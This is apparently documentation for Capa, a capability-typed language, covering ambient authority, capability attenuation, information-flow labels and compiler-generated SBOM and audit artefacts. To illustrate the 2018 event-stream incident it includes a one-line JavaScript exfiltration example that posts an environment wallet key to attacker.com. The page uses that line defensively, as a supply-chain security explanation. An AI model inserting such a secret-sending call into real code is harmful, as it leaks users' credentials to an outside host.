The problem: ambient authority
In Python, server-side JavaScript (Node.js), Java, Go, C#, Ruby, and almost every mainstream language, any function in any module has the same baseline access as any other function in the same process. It can open sockets, read your filesystem, leak environment variables, spawn subprocesses, change directory, all without any of that being visible in its signature.
This is called ambient authority. The authority is in the surrounding environment (the process, the runtime), not in the values the function holds. A function does not need to ask for a network handle to make a network request; the network is just there.
For decades, ambient authority was treated as a convenience, not a hazard. The cost shows up the moment a dependency does something its public API never claimed: the language has no way to tell, and no way to refuse. Capa's premise is that this gap belongs in the type system, not in policy scanners.
Three of those languages did once ship an opt-in, in-language way to restrict this authority, and all three have since backed it out. Java's SecurityManager was deprecated in JDK 17 and permanently disabled in JDK 24; .NET's Code Access Security (partial trust) is unsupported in .NET 5 and later; Ruby's $SAFE has been a no-op since Ruby 3.0. Each bolted a restriction onto an always-ambient default rather than starting from confinement, and each was abandoned. The gap does not close by retrofit; it closes by construction.
A concrete example: event-stream
In November 2018, the npm package event-stream (~2 million weekly downloads) shipped a Bitcoin-wallet-stealing payload into the Copay wallet app. A new maintainer added an obfuscated dependency, flatmap-stream, that activated only inside Copay's bundle and exfiltrated wallet keys to a remote server.
The library was nominally a pure stream transformation utility. Its public API said nothing about the network, the filesystem, or the environment. But the JavaScript runtime gave the library ambient authority over all three, and that gap between contract and capability is what the attack exploited.
In JavaScript, the attack hides inside this signature:
function flatMap(input, f) {
// The signature says: pure stream transformation.
// The implementation can do anything.
fetch('https://attacker.com', {
body: process.env.WALLET_KEY,
});
// ...transform input...
}
In Capa, the same function:
fun flat_map(
lines: List<String>,
f: Fun(String) -> List<String>
) -> List<String>
# `net` and `env` are not in scope.
# The compiler rejects any attempt to use them.
...
In the Capa version, the names net and env are not visible inside the function body. They were not declared as parameters. Trying to use them is a compile error:
error: undefined name 'net'
3 | net.get("https://attacker.com")
^
error: undefined name 'env'
4 | env.get("WALLET_KEY")
^
To mount the attack, the malicious maintainer would have to change the signature of flat_map so that the network and the environment reach it, for example by taking a Net and an Env. Every caller in the dependency tree would then have to thread those capabilities through. The change is loud: it appears in pull requests, dependency-upgrade diffs, code review, and SBOM analyses. It is exactly the kind of signal an auditor, human or automated, can act on.
A complete walkthrough of the incident, with primary sources and the full Capa version, is at the event-stream demo.
The discipline, in three layers
Capa's capability discipline is enforced at three layers. None is sufficient on its own; together they give a strong v1 approximation to a linear type system.
Structural
The analyzer refuses a built-in capability type as the declared type of a struct field, a variant payload or a constant, and a capability passed for a generic type parameter. One relaxation: a struct that implements a user-defined capability may hold built-in capabilities other than Unsafe as bare fields.
// Rejected:
type Service {
stdio: Stdio,
name: String
}
// error: capability 'Stdio'
// cannot be a struct field
Flow
The analyzer refuses the call below, which passes the capability parameter stdio as two arguments of one call. Declared capability parameters must be used (or prefixed with _).
fun main(stdio: Stdio)
f(stdio, stdio)
// error: 'stdio' cannot be
// aliased across arguments
Linear
The consume keyword marks parameters that take ownership. Fork/merge tracking handles branches and loops.
fun close(consume f: File)
...
fun use(f: File)
close(f)
f.read()
// error: 'f' was consumed
Capabilities can be attenuated
A capability is not all-or-nothing. Net.restrict_to(host) returns a fresh Net with authority narrowed to a single host. Restrictions only narrow: chaining two restrict_to calls intersects their allowed-host sets, never widens. The runtime check fires before any system call, so a blocked host never opens a socket.
fun fetch_user(net: Net, id: String) -> Result<String, IoError>
return net.get("https://api.example.com/users/${id}")
fun main(net: Net, stdio: Stdio)
# Narrow the network capability before handing it down.
let api = net.restrict_to("api.example.com")
match fetch_user(api, "42")
Ok(body) -> stdio.println(body)
Err(e) -> stdio.eprintln("${e}")
fetch_user receives the attenuated capability. It cannot reach evil.example.com even if its implementation tried; the runtime short-circuits with an Err before any network call. The chain of authority from main downward is visible at every link.
Libraries declare their own capabilities
Capa is not limited to the built-in capabilities Stdio, Fs, Net, Env, Proc, Clock, Random, Db, Serve, and Unsafe. A library can declare its own (SendEmail, QueryDB, PublishMessage) and the discipline applies uniformly.
capability SendEmail
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
type SmtpMailer { server: String, net: Net }
impl SendEmail for SmtpMailer
fun send(self, to: String, subject: String, body: String) -> Result<Unit, IoError>
...
fun welcome(mailer: SendEmail, to: String) -> Result<Unit, IoError>
return mailer.send(to, "Welcome", "Hello!")
A function that takes a SendEmail can send email through it. A higher-level library can encapsulate the low-level capabilities its implementation needs and expose only the higher-level contract to its callers.
The other axis: where data is allowed to flow
Capabilities control which effects a function may exercise. Information-flow control (IFC) controls where data may flow. Together they let the compiler check a question mainstream languages leave to review: can this function read secret X and send it over the network?
Capa carries a two-point security lattice: @public sits below @secret. You annotate the types, parameters, or struct fields that hold sensitive data, and the compiler tracks the rest.
fun handle(net: Net, token: @secret String)
# `greeting` becomes @secret by join: a public
# string interpolated with a secret is secret.
let greeting = "Bearer ${token}"
net.post("https://api.example.com", greeting)
# information-flow violation: a @secret value
# reaches Net.post, a public sink
Labels propagate automatically by join through every derived value: arithmetic, string interpolation, field reads. A function call with a secret argument returns a secret. And the most common exfiltration source is secret by default: env.get(...) returns @secret with no annotation at all, which puts the API-key and prompt-injection leak case under the check with no annotation.
The sinks are the points where data leaves the program: Stdio.print, Net.get / post, Fs.write, Db.exec / query, and Serve.send (its payload argument only, not the connection id, which the runtime issued rather than the program). A @secret value the analysis finds reaching any of them is reported at compile time.
There is a second built-in source, and its label needs stating plainly. Serve.recv, the bytes of an inbound request, is the language's one inbound source, and it is @public. This lattice models confidentiality, not integrity or taint. @public on an attacker-controlled inbound request asserts only that it is not a secret whose disclosure the analysis must prevent; it asserts nothing about the data being trustworthy, well-formed, or safe to act on. Validate it as you would in any language. Labelling it @secret would encode an integrity property in a confidentiality lattice, whose immediate effect is that echoing a request back to the client that sent it, the normal case for a server, is reported as a violation. Integrity tracking would be a second lattice, not a relabelling of this one.
The policy is warn-then-enforce: a warning by default, and a hard error under the @strict_ifc() function attribute. Under @strict_ifc, the compiler also checks implicit flows, for example a public sink inside a branch whose condition is @secret, where the secret would leak through control flow rather than data. Neither tier is a proof that no secret reaches an output.
The single sanctioned way to move a secret to public is declassify, and it demands a named reason:
let masked = declassify(mask_card(card), reason: "PCI: only last 4 digits retained")
stdio.println(masked)
Every declassify site is recorded in the Capa manifest (each function's declassifications list, counted in the summary as declassification_sites), with its reason, value, and source position, generated by the compiler. That is a machine-readable record of where, and why, a program deliberately discloses sensitive data through declassify.
Within a single function body, the label follows data through containers: a secret stashed in a struct, list, or tuple literal, or in a mutable Map / Set / List, or iterated over in a for loop, keeps its label.
What the check does not catch
Inside a callee, a parameter carries a @secret label only when it is explicitly declared @secret; a secret argument passed to a callee whose parameter reaches a public sink is still reported, at the call site, when the analysis detects the flow. The analysis also tracks, since 1.20.0, a container the callee mutates through such a parameter. A callee declared fun stash(bag: List<String>, s: @secret String) whose body is bag.push(s), with the caller then reading that container into a public sink, is flagged exactly as the identical bag.push(key) written inline is: a warning by default, a hard error under @strict_ifc. Earlier releases produced no diagnostic for the callee form.
Two further boundaries. At the default tier a violation is a warning: capa --check prints it and still exits 0, and implicit flows (a sink inside a branch guarded by a secret condition) are not reported at all. Only @strict_ifc makes the flow an error and turns implicit-flow checking on. And struct labels are per-field, while a secret inside a list, map or tuple is tracked at whole-aggregate granularity. The per-field precision landed in 1.2.0 as part of a soundness-hardening pass, documented in a published security advisory, and a further pass in 1.15 closed additional cross-boundary laundering classes, including free-function return values, @secret module constants, capture by lambda, and two-hop closure-by-name.
A worked example is capa_paymentguard, a payment-security core (PCI DSS / PSD2) whose process function is annotated @strict_ifc, so a flow the analysis detects there from a card number to a log line or a network call is a compile error unless it is masked through declassify (elsewhere it is a warning), and the manifest lists every deliberate disclosure point.
Where the type system can take you next
Capa is a capability-typed language; dialects of that idea exist in Pony, Koka, the WebAssembly Component Model, and elsewhere. The most recent entrant is Zero (Vercel Labs, May 2026), a systems language whose distinctive choice is a toolchain that emits stable error codes and typed repair categories so AI agents can read and repair code without a human in the loop. Zero's audience is the AI-agent toolchain; Capa's audience is the supply-chain auditor. Same intellectual root, different application.
What Capa adds is that, because capabilities are declared in type-checked signatures, the compiler can emit supply-chain artefacts in standard formats from source without an external scanner approximating the same information from binaries or heuristics. The same compiler that checks the capability discipline also produces, one flag per artefact:
- --manifest: Capa-native JSON describing per-function authority, attached metadata, and the call graph.
- --cyclonedx: a CycloneDX SBOM with the per-function capability sets carried as capa:-namespaced properties[] entries.
- --spdx: the SPDX 2.3 companion. Same content, different schema; pick whichever your downstream consumer standardises on.
- --vex: CycloneDX VEX with per-function exploitability claims driven by a @vex attribute. "This CVE is in our SBOM, but this function is not_affected because the path is unreachable" becomes a machine-readable claim.
- --provenance: a SLSA Build L1 provenance attestation (in-toto Statement v1 + SLSA Provenance v1.0) whose subjects are the SHA-256 digests of the source files.
The same content shows up downstream in whatever process needs it: dependency review, audit, regulator-facing evidence under CRA / NIS2 / DORA / NIST SSDF / OWASP SCVS. The mapping across those frameworks lives on the regulatory page. Capa's contribution at the language layer is the discipline itself; the emitters are a consequence of having the information in the right place.
Adding an auditable Capa piece to your existing stack
Nobody rewrites a working service in a new language, and Capa does not ask you to. The realistic way to adopt it is to carve out one component that has to be auditable and leave the rest of your stack exactly where it is. Two company-facing needs fit that shape today: software auditing and SBOM, and secrets handling. This is a complement, not a replacement.
The fully-real piece: source-level audit artefacts
Write the component you want to be accountable for in Capa, and the same compiler that checks the capability discipline emits its supply-chain evidence. None of this needs a runtime, a Wasm toolchain, or a network connection:
- capa --manifest: a per-function record, listing each function's declared_capabilities, the provably_excluded_capabilities the compiler found no path to, and an authority_provable_from_types flag.
- capa --manifest-digest: the same manifest wrapped in a content_integrity envelope (canonical bytes, SHA-256), with the verify procedure written into the document itself. The compiler holds no keys and never signs; the signature slot is left open for you (SLSA Build L1).
- capa --cyclonedx: a CycloneDX SBOM carrying the per-function capability sets, plus --spdx, --vex and --provenance from the same source.
- capa --compose-sbom: a product-wide roll-up across a multi-package project.
- capa --check-capabilities: a CI gate. It fails with a non-zero exit if a function in the code reachable from the entry file it is given reaches an authority outside the max = [...] or pure = true ceiling declared in capa.toml; run it over each entry point you ship.
Because the manifest is derived from the source, a third party who holds the source and the same compiler version can regenerate it and recompute its digest. The compiler's tests pin byte-identical output for repeated runs of the same program; a rebuild-and-diff is a check to run, not a guarantee. The claim is not "trust our scanner": the compiler derived the record from the source.
The gate is what makes this usable in CI. Declare the ceiling once, and a dependency bump or a refactor that quietly introduces Net fails the build with the offending authority named:
capa: --check-capabilities: FAILED - 1 ceiling violation(s):
- package 'gatecheck' declares max=['Stdio'] but its own code introduces 'Net'
Calling a Capa check from another language
A Capa function compiles to a WebAssembly Component Model component (capa --wasm --component), which a Component-Model-aware host can instantiate. A component built this way has been called end-to-end from Python (wasmtime-py), JavaScript (jco), Rust (the wasmtime crate), and C or C++ (the official Wasmtime C API). Two things bound what the boundary buys you, and both are worth stating plainly.
The shape is a yes/no check, not an arbitrary function. The component exports exactly main. Its inputs are capability handles, not data: a value the check needs arrives through a capability such as Env, never as a string argument. Its return is a single scalar, one of Int, Float, Bool, or Unit. A String return is refused:
capa: --wit: main returning 'String' is not supported by the WASM
component backend; return a scalar (Int / Float / Bool) or Unit
So the honest use is: compile a security decision into a component and get a yes/no answer back. An Env-fed token check that returns Bool is the canonical shape. Its whole interface is a capability handle in, a scalar out:
interface env {
get: func(handle: u32, name: string) -> option<string>;
}
world program {
import env;
export main: func(cap0-env: u32) -> bool;
}
One bound survives to any host; the finer ones do not. A component can import only the interfaces its WIT declares, and the runtime gives it nothing else. So the coarse authority bound (this component can touch Env and nothing else, no Net, no Fs) holds in any Component-Model host, including a foreign one. What does not cross the boundary automatically is the finer machinery. Capability attenuation (restrict_to on Net / Fs, restrict_to_keys on Env) does appear at the boundary as an interface call, but its enforcement lives in the host's implementation of the handle table, which Capa's own host provides. A naive foreign host that reimplements the interface and ignores the narrowing will hand back a value Capa's host would have denied. And @secret is a source-level analysis with no representation at the component boundary: the component carries no labels and enforces none. Both properties are real, and both are Capa-host or source-level properties, not something the emitted binary imposes on an arbitrary host.
What this needs today
- The host side is not documented yet. A foreign host must hand-implement the capa:host/* interfaces the component imports (for the token check above, capa:host/env). There is no drop-in host binding shipped.
- The Wasm path needs external tools. wasm-tools and a Component-Model runtime must be present; these are not Python dependencies that pip pulls in.
- Auditing is over the source, not a handed-over binary. The provenance subject is the SHA-256 of the source file, and there is no attested link binding a manifest or provenance to a specific deployed .wasm. Reproduce and verify from the source you were given.
You keep your stack. You add one Capa piece where being able to show which capabilities each function holds, or hand an auditor a manifest they can regenerate, is worth more than the convenience of writing that piece inline.
What Capa does not solve
To be honest about the limits:
- A capability holder with bad intent is still dangerous. If a library legitimately needs Net and ships a malicious version, the language cannot tell a legitimate request from a malicious one. The discipline narrows where attacks can hide; attenuation (restrict_to) reduces this further.
- The Python interop boundary is a risk. Anything crossing into Python via py_import / py_invoke loses Capa's guarantees. The boundary is gated by Unsafe so it is explicit, but the loss is real.
- Capa is not a sandbox. A determined attacker with process-level access can do things the language cannot prevent. Capa raises the bar at the source level, where most supply-chain attacks live.
- Capa is not a replacement for SBOM/SCA tooling. They are complementary: SBOMs tell you what components are present; Capa tells you which capabilities each function holds.
For an honest comparison with adjacent languages and tools (Pony, Koka, Roc, the WebAssembly Component Model), and a precise statement of what is and is not unique about Capa, see docs/positioning.md.